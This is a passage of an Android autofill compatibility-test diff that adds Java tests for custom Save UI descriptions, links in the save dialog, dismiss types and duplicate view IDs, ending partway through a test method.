+ mActivity.onCcExpiration((v) -> v.setSelection(INDEX_CC_EXPIRATION_TODAY));
+ mActivity.tapBuy();
+
+ // First make sure the UI is shown...
+ final UiObject2 saveUi = sUiBot.assertSaveShowing(SAVE_DATA_TYPE_CREDIT_CARD);
+
+ // Then make sure it does have the custom views on it...
+ final UiObject2 staticText = saveUi.findObject(By.res(packageName, "static_text"));
+ assertThat(staticText).isNotNull();
+ assertThat(staticText.getText()).isEqualTo("YO:");
+
+ final UiObject2 number = saveUi.findObject(By.res(packageName, "first"));
+ assertThat(number).isNotNull();
+ assertThat(number.getText()).isEqualTo("4815162342");
+
+ final UiObject2 expiration = saveUi.findObject(By.res(packageName, "second"));
+ assertThat(expiration).isNotNull();
+ assertThat(expiration.getText()).isEqualTo("today");
+ }
+
+ /**
+ * Tests that a custom save description is ignored when the selected spinner element is not
+ * available in the autofill options.
+ */
+ @Test
+ public void testCustomizedSaveUiWhenListResolutionFails() throws Exception {
+ // Set service.
+ enableService();
+
+ // Change spinner to return just one item so the transformation throws an exception when
+ // fetching it.
+ mActivity.getCcExpirationAdapter().setAutofillOptions("D'OH!");
+
+ // Set expectations.
+ final String packageName = getContext().getPackageName();
+ final RemoteViews presentation = new RemoteViews(packageName,
+ R.layout.two_horizontal_text_fields);
+ final CharSequenceTransformation trans1 = new CharSequenceTransformation
+ .Builder(mActivity.getCcNumber().getAutofillId(), Pattern.compile("(.*)"), "$1")
+ .build();
+ final CharSequenceTransformation trans2 = new CharSequenceTransformation
+ .Builder(mActivity.getCcExpiration().getAutofillId(), Pattern.compile("(.*)"), "$1")
+ .build();
+ final CustomDescription customDescription = new CustomDescription.Builder(presentation)
+ .addChild(R.id.first, trans1)
+ .addChild(R.id.second, trans2)
+ .build();
+
+ sReplier.addResponse(new CannedFillResponse.Builder()
+ .setRequiredSavableIds(SAVE_DATA_TYPE_CREDIT_CARD, ID_CC_NUMBER, ID_CC_EXPIRATION)
+ .setCustomDescription(customDescription)
+ .build());
+
+ // Dynamically change view contents
+ mActivity.onCcExpiration((v) -> v.setSelection(INDEX_CC_EXPIRATION_TOMORROW, true));
+
+ // Trigger auto-fill.
+ mActivity.onCcNumber((v) -> v.requestFocus());
+ sReplier.getNextFillRequest();
+
+ // Trigger save.
+ mActivity.onCcNumber((v) -> v.setText("4815162342"));
+ mActivity.onCcExpiration((v) -> v.setSelection(INDEX_CC_EXPIRATION_TODAY));
+ mActivity.tapBuy();
+
+ // First make sure the UI is shown...
+ final UiObject2 saveUi = sUiBot.assertSaveShowing(SAVE_DATA_TYPE_CREDIT_CARD);
+
+ // Then make sure it does not have the custom views on it...
+ assertThat(saveUi.findObject(By.res(packageName, "static_text"))).isNull();
+ }
}
diff --git a/tests/autofillservice/src/android/autofillservice/cts/CustomDescriptionTest.java b/tests/autofillservice/src/android/autofillservice/cts/CustomDescriptionTest.java
new file mode 100644
index 0000000..b7acfc6
--- /dev/null
+++ b/tests/autofillservice/src/android/autofillservice/cts/CustomDescriptionTest.java
@@ -0,0 +1,299 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.autofillservice.cts;
+
+import static android.autofillservice.cts.Helper.ID_PASSWORD;
+import static android.autofillservice.cts.Helper.ID_USERNAME;
+import static android.autofillservice.cts.Helper.assertNoDanglingSessions;
+import static android.autofillservice.cts.Helper.getContext;
+import static android.service.autofill.SaveInfo.SAVE_DATA_TYPE_GENERIC;
+
+import static com.google.common.truth.Truth.assertThat;
+import static com.google.common.truth.Truth.assertWithMessage;
+
+import android.service.autofill.CharSequenceTransformation;
+import android.service.autofill.CustomDescription;
+import android.service.autofill.ImageTransformation;
+import android.support.annotation.NonNull;
+import android.support.annotation.Nullable;
+import android.support.test.uiautomator.By;
+import android.support.test.uiautomator.UiObject2;
+import android.view.View;
+import android.view.autofill.AutofillId;
+import android.widget.RemoteViews;
+
+import org.junit.After;
+import org.junit.Before;
+import org.junit.Rule;
+import org.junit.Test;
+
+import java.util.function.BiFunction;
+import java.util.regex.Pattern;
+
+public class CustomDescriptionTest extends AutoFillServiceTestCase {
+ @Rule
+ public final AutofillActivityTestRule<LoginActivity> mActivityRule =
+ new AutofillActivityTestRule<>(LoginActivity.class);
+
+ private LoginActivity mActivity;
+
+ @Before
+ public void setActivity() {
+ mActivity = mActivityRule.getActivity();
+ }
+
+ @After
+ public void finishWelcomeActivity() {
+ WelcomeActivity.finishIt();
+ }
+
+ /**
+ * Base test
+ *
+ * @param descriptionBuilder method to build a custom description
+ * @param uiVerifier Ran when the custom description is shown
+ */
+ private void testCustomDescription(
+ @NonNull BiFunction<AutofillId, AutofillId, CustomDescription> descriptionBuilder,
+ @Nullable Runnable uiVerifier) throws Exception {
+ enableService();
+
+ final AutofillId usernameId = mActivity.getUsername().getAutofillId();
+ final AutofillId passwordId = mActivity.getPassword().getAutofillId();
+
+ // Set response with custom description
+ sReplier.addResponse(new CannedFillResponse.Builder()
+ .setRequiredSavableIds(SAVE_DATA_TYPE_GENERIC, ID_USERNAME, ID_PASSWORD)
+ .setCustomDescription(descriptionBuilder.apply(usernameId, passwordId))
+ .build());
+
+ // Trigger autofill with custom description
+ mActivity.onPassword(View::requestFocus);
+
+ // Wait for onFill() before proceeding.
+ sReplier.getNextFillRequest();
+
+ // Trigger save.
+ mActivity.onUsername((v) -> v.setText("usernm"));
+ mActivity.onPassword((v) -> v.setText("passwd"));
+ mActivity.tapLogin();
+
+ if (uiVerifier != null) {
+ uiVerifier.run();
+ }
+
+ sUiBot.saveForAutofill(true, SAVE_DATA_TYPE_GENERIC);
+ sReplier.getNextSaveRequest();
+
+ assertNoDanglingSessions();
+ }
+
+ @Test
+ public void validTransformation() throws Exception {
+ testCustomDescription((usernameId, passwordId) -> {
+ RemoteViews presentation = new RemoteViews(getContext().getPackageName(),
+ R.layout.two_horizontal_text_fields);
+
+ CharSequenceTransformation trans1 = new CharSequenceTransformation
+ .Builder(usernameId, Pattern.compile("(.*)"), "$1")
+ .addField(passwordId, Pattern.compile(".*(..)"), "..$1")
+ .build();
+ ImageTransformation trans2 = new ImageTransformation
+ .Builder(usernameId, Pattern.compile(".*"),
+ R.drawable.android).build();
+
+ return new CustomDescription.Builder(presentation)
+ .addChild(R.id.first, trans1)
+ .addChild(R.id.img, trans2)
+ .build();
+ }, () -> assertSaveUiWithCustomDescriptionIsShown("usernm..wd"));
+ }
+
+ @Test
+ public void badImageTransformation() throws Exception {
+ testCustomDescription((usernameId, passwordId) -> {
+ RemoteViews presentation = new RemoteViews(getContext().getPackageName(),
+ R.layout.two_horizontal_text_fields);
+
+ ImageTransformation trans = new ImageTransformation
+ .Builder(usernameId, Pattern.compile(".*"), 1)
+ .build();
+
+ return new CustomDescription.Builder(presentation)
+ .addChild(R.id.img, trans)
+ .build();
+ }, () -> assertSaveUiWithCustomDescriptionIsShown() );
+ }
+
+ @Test
+ public void unusedImageTransformation() throws Exception {
+ testCustomDescription((usernameId, passwordId) -> {
+ RemoteViews presentation = new RemoteViews(getContext().getPackageName(),
+ R.layout.two_horizontal_text_fields);
+
+ ImageTransformation trans = new ImageTransformation
+ .Builder(usernameId, Pattern.compile("invalid"), R.drawable.android)
+ .build();
+
+ return new CustomDescription.Builder(presentation)
+ .addChild(R.id.img, trans)
+ .build();
+ }, () -> assertSaveUiWithCustomDescriptionIsShown());
+ }
+
+ @Test
+ public void applyImageTransformationToTextView() throws Exception {
+ testCustomDescription((usernameId, passwordId) -> {
+ RemoteViews presentation = new RemoteViews(getContext().getPackageName(),
+ R.layout.two_horizontal_text_fields);
+
+ ImageTransformation trans = new ImageTransformation
+ .Builder(usernameId, Pattern.compile(".*"), R.drawable.android)
+ .build();
+
+ return new CustomDescription.Builder(presentation)
+ .addChild(R.id.first, trans)
+ .build();
+ }, () -> assertSaveUiWithoutCustomDescriptionIsShown());
+ }
+
+ @Test
+ public void failFirstFailAll() throws Exception {
+ testCustomDescription((usernameId, passwordId) -> {
+ RemoteViews presentation = new RemoteViews(getContext().getPackageName(),
+ R.layout.two_horizontal_text_fields);
+
+ CharSequenceTransformation trans = new CharSequenceTransformation
+ .Builder(usernameId, Pattern.compile("(.*)"), "$42")
+ .addField(passwordId, Pattern.compile(".*(..)"), "..$1")
+ .build();
+
+ return new CustomDescription.Builder(presentation)
+ .addChild(R.id.first, trans)
+ .build();
+ }, () -> assertSaveUiWithoutCustomDescriptionIsShown());
+ }
+
+ @Test
+ public void failSecondFailAll() throws Exception {
+ testCustomDescription((usernameId, passwordId) -> {
+ RemoteViews presentation = new RemoteViews(getContext().getPackageName(),
+ R.layout.two_horizontal_text_fields);
+
+ CharSequenceTransformation trans = new CharSequenceTransformation
+ .Builder(usernameId, Pattern.compile("(.*)"), "$1")
+ .addField(passwordId, Pattern.compile(".*(..)"), "..$42")
+ .build();
+
+ return new CustomDescription.Builder(presentation)
+ .addChild(R.id.first, trans)
+ .build();
+ }, () -> assertSaveUiWithoutCustomDescriptionIsShown());
+ }
+
+ @Test
+ public void applyCharSequenceTransformationToImageView() throws Exception {
+ testCustomDescription((usernameId, passwordId) -> {
+ RemoteViews presentation = new RemoteViews(getContext().getPackageName(),
+ R.layout.two_horizontal_text_fields);
+
+ CharSequenceTransformation trans = new CharSequenceTransformation
+ .Builder(usernameId, Pattern.compile("(.*)"), "$1")
+ .build();
+
+ return new CustomDescription.Builder(presentation)
+ .addChild(R.id.img, trans)
+ .build();
+ }, () -> assertSaveUiWithoutCustomDescriptionIsShown());
+ }
+
+ private void multipleTransformationsForSameFieldTest(boolean matchFirst) throws Exception {
+ enableService();
+
+ // Set response with custom description
+ final AutofillId usernameId = mActivity.getUsername().getAutofillId();
+ final CharSequenceTransformation firstTrans = new CharSequenceTransformation
+ .Builder(usernameId, Pattern.compile("(marco)"), "polo")
+ .build();
+ final CharSequenceTransformation secondTrans = new CharSequenceTransformation
+ .Builder(usernameId, Pattern.compile("(MARCO)"), "POLO")
+ .build();
+ final RemoteViews presentation = new RemoteViews(getContext().getPackageName(),
+ R.layout.two_horizontal_text_fields);
+ final CustomDescription customDescription = new CustomDescription.Builder(presentation)
+ .addChild(R.id.first, firstTrans)
+ .addChild(R.id.first, secondTrans)
+ .build();
+ sReplier.addResponse(new CannedFillResponse.Builder()
+ .setRequiredSavableIds(SAVE_DATA_TYPE_GENERIC, ID_USERNAME)
+ .setCustomDescription(customDescription)
+ .build());
+
+ // Trigger autofill with custom description
+ mActivity.onPassword(View::requestFocus);
+
+ // Wait for onFill() before proceeding.
+ sReplier.getNextFillRequest();
+
+ // Trigger save.
+ final String username = matchFirst ? "marco" : "MARCO";
+ mActivity.onUsername((v) -> v.setText(username));
+ mActivity.onPassword((v) -> v.setText(LoginActivity.BACKDOOR_PASSWORD_SUBSTRING));
+ mActivity.tapLogin();
+
+ final String expectedText = matchFirst ? "polo" : "POLO";
+ assertSaveUiWithCustomDescriptionIsShown(expectedText);
+ }
+
+ @Test
+ public void applyMultipleTransformationsForSameField_matchFirst() throws Exception {
+ multipleTransformationsForSameFieldTest(true);
+ }
+
+ @Test
+ public void applyMultipleTransformationsForSameField_matchSecond() throws Exception {
+ multipleTransformationsForSameFieldTest(false);
+ }
+
+ private void assertSaveUiWithoutCustomDescriptionIsShown() {
+ // First make sure the UI is shown...
+ final UiObject2 saveUi = sUiBot.assertSaveShowing(SAVE_DATA_TYPE_GENERIC);
+
+ // Then make sure it does not have the custom view on it.
+ assertWithMessage("found static_text on SaveUI (%s)", sUiBot.getChildrenAsText(saveUi))
+ .that(saveUi.findObject(By.res(mPackageName, "static_text"))).isNull();
+ }
+
+ private UiObject2 assertSaveUiWithCustomDescriptionIsShown() {
+ // First make sure the UI is shown...
+ final UiObject2 saveUi = sUiBot.assertSaveShowing(SAVE_DATA_TYPE_GENERIC);
+
+ // Then make sure it does have the custom view on it...
+ final UiObject2 staticText = saveUi.findObject(By.res(mPackageName, "static_text"));
+ assertThat(staticText).isNotNull();
+ assertThat(staticText.getText()).isEqualTo("YO:");
+
+ return saveUi;
+ }
+
+ private void assertSaveUiWithCustomDescriptionIsShown(String expectedText) {
+ final UiObject2 saveUi = assertSaveUiWithCustomDescriptionIsShown();
+ assertWithMessage("didn't find '%s' on SaveUI (%s)", expectedText,
+ sUiBot.getChildrenAsText(saveUi))
+ .that(saveUi.findObject(By.text(expectedText))).isNotNull();
+ }
+}
diff --git a/tests/autofillservice/src/android/autofillservice/cts/CustomDescriptionWithLinkTestCase.java b/tests/autofillservice/src/android/autofillservice/cts/CustomDescriptionWithLinkTestCase.java
new file mode 100644
index 0000000..4453a0e
--- /dev/null
+++ b/tests/autofillservice/src/android/autofillservice/cts/CustomDescriptionWithLinkTestCase.java
@@ -0,0 +1,272 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+package android.autofillservice.cts;
+
+import static com.google.common.truth.Truth.assertThat;
+
+import static org.junit.Assume.assumeTrue;
+
+import android.app.Activity;
+import android.app.PendingIntent;
+import android.content.Intent;
+import android.service.autofill.CustomDescription;
+import android.support.test.uiautomator.By;
+import android.support.test.uiautomator.UiObject2;
+import android.widget.RemoteViews;
+
+import org.junit.Ignore;
+import org.junit.Test;
+
+/**
+ * Template for tests cases that test what happens when a link in the {@link CustomDescription} is
+ * tapped by the user.
+ *
+ * <p>It must be extend by 2 sub-class to provide tests for the 2 distinct scenarios:
+ * <ul>
+ * <li>Save is triggered by 1st activity finishing and launching a 2nd activity.
+ * <li>Save is triggered by explicit {@link android.view.autofill.AutofillManager#commit()} call
+ * and shown in the same activity.
+ * </ul>
+ *
+ * <p>The overall behavior should be the same in both cases, although the implementation of the
+ * tests per se will be sligthly different.
+ */
+abstract class CustomDescriptionWithLinkTestCase extends AutoFillServiceTestCase {
+
+ private static final String ID_LINK = "link";
+
+ /**
+ * Tests scenarios when user taps a link in the custom description and then taps back:
+ * the Save UI should have been restored.
+ */
+ @Test
+ public final void testTapLink_tapBack() throws Exception {
+ saveUiRestoredAfterTappingLinkTest(PostSaveLinkTappedAction.TAP_BACK_BUTTON);
+ }
+
+ /**
+ * Tests scenarios when user taps a link in the custom description, change the screen
+ * orientation while the new activity is show, then taps back:
+ * the Save UI should have been restored.
+ */
+ @Test
+ public final void testTapLink_changeOrientationThenTapBack() throws Exception {
+ assumeTrue("Screen rotation not supported", sUiBot.isScreenRotationSupported());
+
+ sUiBot.setScreenResolution();
+
+ sUiBot.setScreenOrientation(UiBot.PORTRAIT);
+ try {
+ saveUiRestoredAfterTappingLinkTest(
+ PostSaveLinkTappedAction.ROTATE_THEN_TAP_BACK_BUTTON);
+ } finally {
+ sUiBot.setScreenOrientation(UiBot.PORTRAIT);
+ try {
+ cleanUpAfterScreenOrientationIsBackToPortrait();
+ } finally {
+ sUiBot.resetScreenResolution();
+ }
+ }
+ }
+
+ /**
+ * Tests scenarios when user taps a link in the custom description, then the new activity
+ * finishes:
+ * the Save UI should have been restored.
+ */
+ @Test
+ public final void testTapLink_finishActivity() throws Exception {
+ saveUiRestoredAfterTappingLinkTest(PostSaveLinkTappedAction.FINISH_ACTIVITY);
+ }
+
+ protected abstract void saveUiRestoredAfterTappingLinkTest(PostSaveLinkTappedAction type)
+ throws Exception;
+
+ protected void cleanUpAfterScreenOrientationIsBackToPortrait() throws Exception {
+ }
+
+ /**
+ * Tests scenarios when user taps a link in the custom description, taps back to return to the
+ * activity with the Save UI, and touch outside the Save UI to dismiss it.
+ *
+ * <p>Then user starts a new session by focusing in a field.
+ */
+ @Test
+ public final void testTapLink_tapBack_thenStartOverByTouchOutsideAndFocus()
+ throws Exception {
+ tapLinkThenTapBackThenStartOverTest(PostSaveLinkTappedAction.TOUCH_OUTSIDE, false);
+ }
+
+ /**
+ * Tests scenarios when user taps a link in the custom description, taps back to return to the
+ * activity with the Save UI, and touch outside the Save UI to dismiss it.
+ *
+ * <p>Then user starts a new session by forcing autofill.
+ */
+ @Test
+ public void testTapLink_tapBack_thenStartOverByTouchOutsideAndManualRequest()
+ throws Exception {
+ tapLinkThenTapBackThenStartOverTest(PostSaveLinkTappedAction.TOUCH_OUTSIDE, true);
+ }
+
+ /**
+ * Tests scenarios when user taps a link in the custom description, taps back to return to the
+ * activity with the Save UI, and tap the "No" button to dismiss it.
+ *
+ * <p>Then user starts a new session by focusing in a field.
+ */
+ @Test
+ public final void testTapLink_tapBack_thenStartOverBySayingNoAndFocus()
+ throws Exception {
+ tapLinkThenTapBackThenStartOverTest(PostSaveLinkTappedAction.TAP_NO_ON_SAVE_UI,
+ false);
+ }
+
+ /**
+ * Tests scenarios when user taps a link in the custom description, taps back to return to the
+ * activity with the Save UI, and tap the "No" button to dismiss it.
+ *
+ * <p>Then user starts a new session by forcing autofill.
+ */
+ @Test
+ public final void testTapLink_tapBack_thenStartOverBySayingNoAndManualRequest()
+ throws Exception {
+ tapLinkThenTapBackThenStartOverTest(PostSaveLinkTappedAction.TAP_NO_ON_SAVE_UI, true);
+ }
+
+ /**
+ * Tests scenarios when user taps a link in the custom description, taps back to return to the
+ * activity with the Save UI, and the "Yes" button to save it.
+ *
+ * <p>Then user starts a new session by focusing in a field.
+ */
+ @Test
+ public final void testTapLink_tapBack_thenStartOverBySayingYesAndFocus()
+ throws Exception {
+ tapLinkThenTapBackThenStartOverTest(PostSaveLinkTappedAction.TAP_YES_ON_SAVE_UI,
+ false);
+ }
+
+ /**
+ * Tests scenarios when user taps a link in the custom description, taps back to return to the
+ * activity with the Save UI, and the "Yes" button to save it.
+ *
+ * <p>Then user starts a new session by forcing autofill.
+ */
+ @Test
+ public final void testTapLink_tapBack_thenStartOverBySayingYesAndManualRequest()
+ throws Exception {
+ tapLinkThenTapBackThenStartOverTest(PostSaveLinkTappedAction.TAP_YES_ON_SAVE_UI, true);
+ }
+
+ protected abstract void tapLinkThenTapBackThenStartOverTest(
+ PostSaveLinkTappedAction action, boolean manualRequest) throws Exception;
+
+ /**
+ * Tests scenarios when user taps a link in the custom description, then double-tap recents
+ * to go back to the original activity:
+ * the Save UI should have been canceled.
+ */
+ @Test
+ @Ignore("Test fail on some devices because Recents UI is not well defined: b/72044685")
+ public final void testTapLink_backToPreviousActivityByTappingRecents()
+ throws Exception {
+ saveUiCancelledAfterTappingLinkTest(PostSaveLinkTappedAction.TAP_RECENTS);
+ }
+
+ /**
+ * Tests scenarios when user taps a link in the custom description, then re-launches the
+ * original activity:
+ * the Save UI should have been canceled.
+ */
+ @Test
+ public final void testTapLink_backToPreviousActivityByLaunchingIt()
+ throws Exception {
+ saveUiCancelledAfterTappingLinkTest(PostSaveLinkTappedAction.LAUNCH_PREVIOUS_ACTIVITY);
+ }
+
+ /**
+ * Tests scenarios when user taps a link in the custom description, then launches a 3rd
+ * activity:
+ * the Save UI should have been canceled.
+ */
+ @Test
+ public final void testTapLink_launchNewActivityThenTapBack() throws Exception {
+ saveUiCancelledAfterTappingLinkTest(PostSaveLinkTappedAction.LAUNCH_NEW_ACTIVITY);
+ }
+
+ @Test
+ public final void testTapLink_launchTrampolineActivityThenTapBackAndStartNewSession()
+ throws Exception {
+ tapLinkLaunchTrampolineActivityThenTapBackAndStartNewSessionTest();
+ }
+
+ protected abstract void tapLinkLaunchTrampolineActivityThenTapBackAndStartNewSessionTest()
+ throws Exception;
+
+ enum PostSaveLinkTappedAction {
+ TAP_BACK_BUTTON,
+ ROTATE_THEN_TAP_BACK_BUTTON,
+ TAP_RECENTS,
+ FINISH_ACTIVITY,
+ LAUNCH_NEW_ACTIVITY,
+ LAUNCH_PREVIOUS_ACTIVITY,
+ TOUCH_OUTSIDE,
+ TAP_NO_ON_SAVE_UI,
+ TAP_YES_ON_SAVE_UI
+ }
+
+ protected abstract void saveUiCancelledAfterTappingLinkTest(PostSaveLinkTappedAction type)
+ throws Exception;
+
+ protected final void startActivity(Class<?> clazz) {
+ mContext.startActivity(new Intent(mContext, clazz));
+ }
+
+ protected final CustomDescription newCustomDescription(
+ Class<? extends Activity> activityClass) {
+ final Intent intent = new Intent(mContext, activityClass);
+ intent.setFlags(Intent.FLAG_ACTIVITY_RETAIN_IN_RECENTS | Intent.FLAG_ACTIVITY_NEW_DOCUMENT);
+ return newCustomDescription(intent);
+ }
+
+ protected final CustomDescription newCustomDescription(Intent intent) {
+ final RemoteViews presentation = new RemoteViews(mPackageName,
+ R.layout.custom_description_with_link);
+ final PendingIntent pendingIntent = PendingIntent.getActivity(mContext, 0, intent, 0);
+ presentation.setOnClickPendingIntent(R.id.link, pendingIntent);
+ return new CustomDescription.Builder(presentation).build();
+ }
+
+ protected final UiObject2 assertSaveUiWithLinkIsShown(int saveType) {
+ // First make sure the UI is shown...
+ final UiObject2 saveUi = sUiBot.assertSaveShowing(saveType);
+ // Then make sure it does have the custom view with link on it...
+ getLink(saveUi);
+ return saveUi;
+ }
+
+ protected final UiObject2 getLink(final UiObject2 container) {
+ final UiObject2 button = container.findObject(By.res(mPackageName, ID_LINK));
+ assertThat(button).isNotNull();
+ assertThat(button.getText()).isEqualTo("DON'T TAP ME!");
+ return button;
+ }
+
+ protected final void tapSaveUiLink(UiObject2 saveUi) {
+ getLink(saveUi).click();
+ }
+}
diff --git a/tests/autofillservice/src/android/autofillservice/cts/DatePickerTestCase.java b/tests/autofillservice/src/android/autofillservice/cts/DatePickerTestCase.java
index 1d4f652..d977ac6 100644
--- a/tests/autofillservice/src/android/autofillservice/cts/DatePickerTestCase.java
+++ b/tests/autofillservice/src/android/autofillservice/cts/DatePickerTestCase.java
@@ -22,8 +22,6 @@
import static android.autofillservice.cts.Helper.assertTextAndValue;
import static android.autofillservice.cts.Helper.assertTextIsSanitized;
import static android.autofillservice.cts.Helper.findNodeByResourceId;
-import static android.autofillservice.cts.InstrumentedAutoFillService.waitUntilConnected;
-import static android.autofillservice.cts.InstrumentedAutoFillService.waitUntilDisconnected;
import static android.service.autofill.SaveInfo.SAVE_DATA_TYPE_GENERIC;
import static com.google.common.truth.Truth.assertWithMessage;
diff --git a/tests/autofillservice/src/android/autofillservice/cts/DismissType.java b/tests/autofillservice/src/android/autofillservice/cts/DismissType.java
new file mode 100644
index 0000000..ae9b9cd
--- /dev/null
+++ b/tests/autofillservice/src/android/autofillservice/cts/DismissType.java
@@ -0,0 +1,30 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+package android.autofillservice.cts;
+
+/**
+ * A simple enum for test cases where the Save UI is dismissed.
+ *
+ * <p><b>Note:</b> When new values are added to the enum, the equivalent tests must be added to
+ * both {@link LoginActivityTest} and {@link SimpleSaveActivityTest}.
+ */
+enum DismissType {
+ BACK_BUTTON,
+ HOME_BUTTON,
+ RECENTS_BUTTON,
+ TOUCH_OUTSIDE,
+ FOCUS_OUTSIDE
+}
diff --git a/tests/autofillservice/src/android/autofillservice/cts/DuplicateIdActivity.java b/tests/autofillservice/src/android/autofillservice/cts/DuplicateIdActivity.java
new file mode 100644
index 0000000..31ac8f7
--- /dev/null
+++ b/tests/autofillservice/src/android/autofillservice/cts/DuplicateIdActivity.java
@@ -0,0 +1,37 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.autofillservice.cts;
+
+import android.os.Bundle;
+import android.util.Log;
+
+public class DuplicateIdActivity extends AbstractAutoFillActivity {
+ private static final String LOG_TAG = DuplicateIdActivity.class.getSimpleName();
+
+ static final String DUPLICATE_ID = "duplicate_id";
+
+ @Override
+ protected void onCreate(Bundle savedInstanceState) {
+ super.onCreate(savedInstanceState);
+
+ if (savedInstanceState != null) {
+ Log.i(LOG_TAG, "onCreate(" + savedInstanceState + ")");
+ }
+
+ setContentView(R.layout.duplicate_id_layout);
+ }
+}
diff --git a/tests/autofillservice/src/android/autofillservice/cts/DuplicateIdActivityTest.java b/tests/autofillservice/src/android/autofillservice/cts/DuplicateIdActivityTest.java
new file mode 100644
index 0000000..8eea095
--- /dev/null
+++ b/tests/autofillservice/src/android/autofillservice/cts/DuplicateIdActivityTest.java
@@ -0,0 +1,148 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.autofillservice.cts;
+
+import static android.autofillservice.cts.CannedFillResponse.NO_RESPONSE;
+import static android.autofillservice.cts.DuplicateIdActivity.DUPLICATE_ID;
+import static android.autofillservice.cts.Helper.runShellCommand;
+import static android.autofillservice.cts.InstrumentedAutoFillService.waitUntilConnected;
+import static android.autofillservice.cts.InstrumentedAutoFillService.waitUntilDisconnected;
+
+import static com.google.common.truth.Truth.assertThat;
+
+import static org.junit.Assume.assumeTrue;
+
+import android.app.assist.AssistStructure;
+import android.util.Log;
+import android.view.autofill.AutofillId;
+
+import org.junit.After;
+import org.junit.Before;
+import org.junit.Rule;
+import org.junit.Test;
+
+/**
+ * This is the test case covering most scenarios - other test cases will cover characteristics
+ * specific to that test's activity (for example, custom views).
+ */
+public class DuplicateIdActivityTest extends AutoFillServiceTestCase {
+ private static final String LOG_TAG = DuplicateIdActivityTest.class.getSimpleName();
+ @Rule
+ public final AutofillActivityTestRule<DuplicateIdActivity> mActivityRule = new AutofillActivityTestRule<>(
+ DuplicateIdActivity.class);
+
+ private DuplicateIdActivity mActivity;
+
+ @Before
+ public void setup() {
+ Helper.disableAutoRotation(sUiBot);
+ sUiBot.setScreenOrientation(0);
+
+ mActivity = mActivityRule.getActivity();
+ }
+
+ @After
+ public void teardown() {
+ mActivity.finish();
+
+ Helper.allowAutoRotation();
+ }
+
+ /**
+ * Find the views that are tested from the structure in the request
+ *
+ * @param request The request
+ *
+ * @return An array containing the two tested views
+ */
+ private AssistStructure.ViewNode[] findViews(InstrumentedAutoFillService.FillRequest request) {
+ assertThat(request.structure.getWindowNodeCount()).isEqualTo(1);
+ AssistStructure.WindowNode windowNode = request.structure.getWindowNodeAt(0);
+
+ AssistStructure.ViewNode rootNode = windowNode.getRootViewNode();
+
+ assertThat(rootNode.getChildCount()).isEqualTo(2);
+ return new AssistStructure.ViewNode[]{rootNode.getChildAt(0), rootNode.getChildAt(1)};
+ }
+
+ @Test
+ public void testDoNotRestoreDuplicateAutofillIds() throws Exception {
+ assumeTrue("Screen rotation not supported", sUiBot.isScreenRotationSupported());
+ enableService();
+
+ sReplier.addResponse(new CannedFillResponse.Builder()
+ .addDataset(new CannedFillResponse.CannedDataset.Builder()
+ .setField(DUPLICATE_ID, "value")
+ .setPresentation(createPresentation("dataset"))
+ .build())
+ .build());
+
+ // Select field to start autofill
+ runShellCommand("input keyevent KEYCODE_TAB");
+
+ waitUntilConnected();
+ InstrumentedAutoFillService.FillRequest request = sReplier.getNextFillRequest();
+
+ AssistStructure.ViewNode[] views = findViews(request);
+ AssistStructure.ViewNode view1 = views[0];
+ AssistStructure.ViewNode view2 = views[1];
+ AutofillId id1 = view1.getAutofillId();
+ AutofillId id2 = view2.getAutofillId();
+
+ Log.i(LOG_TAG, "view1=" + id1);
+ Log.i(LOG_TAG, "view2=" + id2);
+
+ // Both checkboxes use the same id
+ assertThat(view1.getId()).isEqualTo(view2.getId());
+
+ // They got different autofill ids though
+ assertThat(id1).isNotEqualTo(id2);
+
+ sReplier.addResponse(NO_RESPONSE);
+
+ // Force rotation to force onDestroy->onCreate cycle
+ sUiBot.setScreenOrientation(1);
+
+ // Select other field to trigger new partition
+ runShellCommand("input keyevent KEYCODE_TAB");
+
+ request = sReplier.getNextFillRequest();
+
+ views = findViews(request);
+ AutofillId recreatedId1 = views[0].getAutofillId();
+ AutofillId recreatedId2 = views[1].getAutofillId();
+
+ Log.i(LOG_TAG, "restored view1=" + recreatedId1);
+ Log.i(LOG_TAG, "restored view2=" + recreatedId2);
+
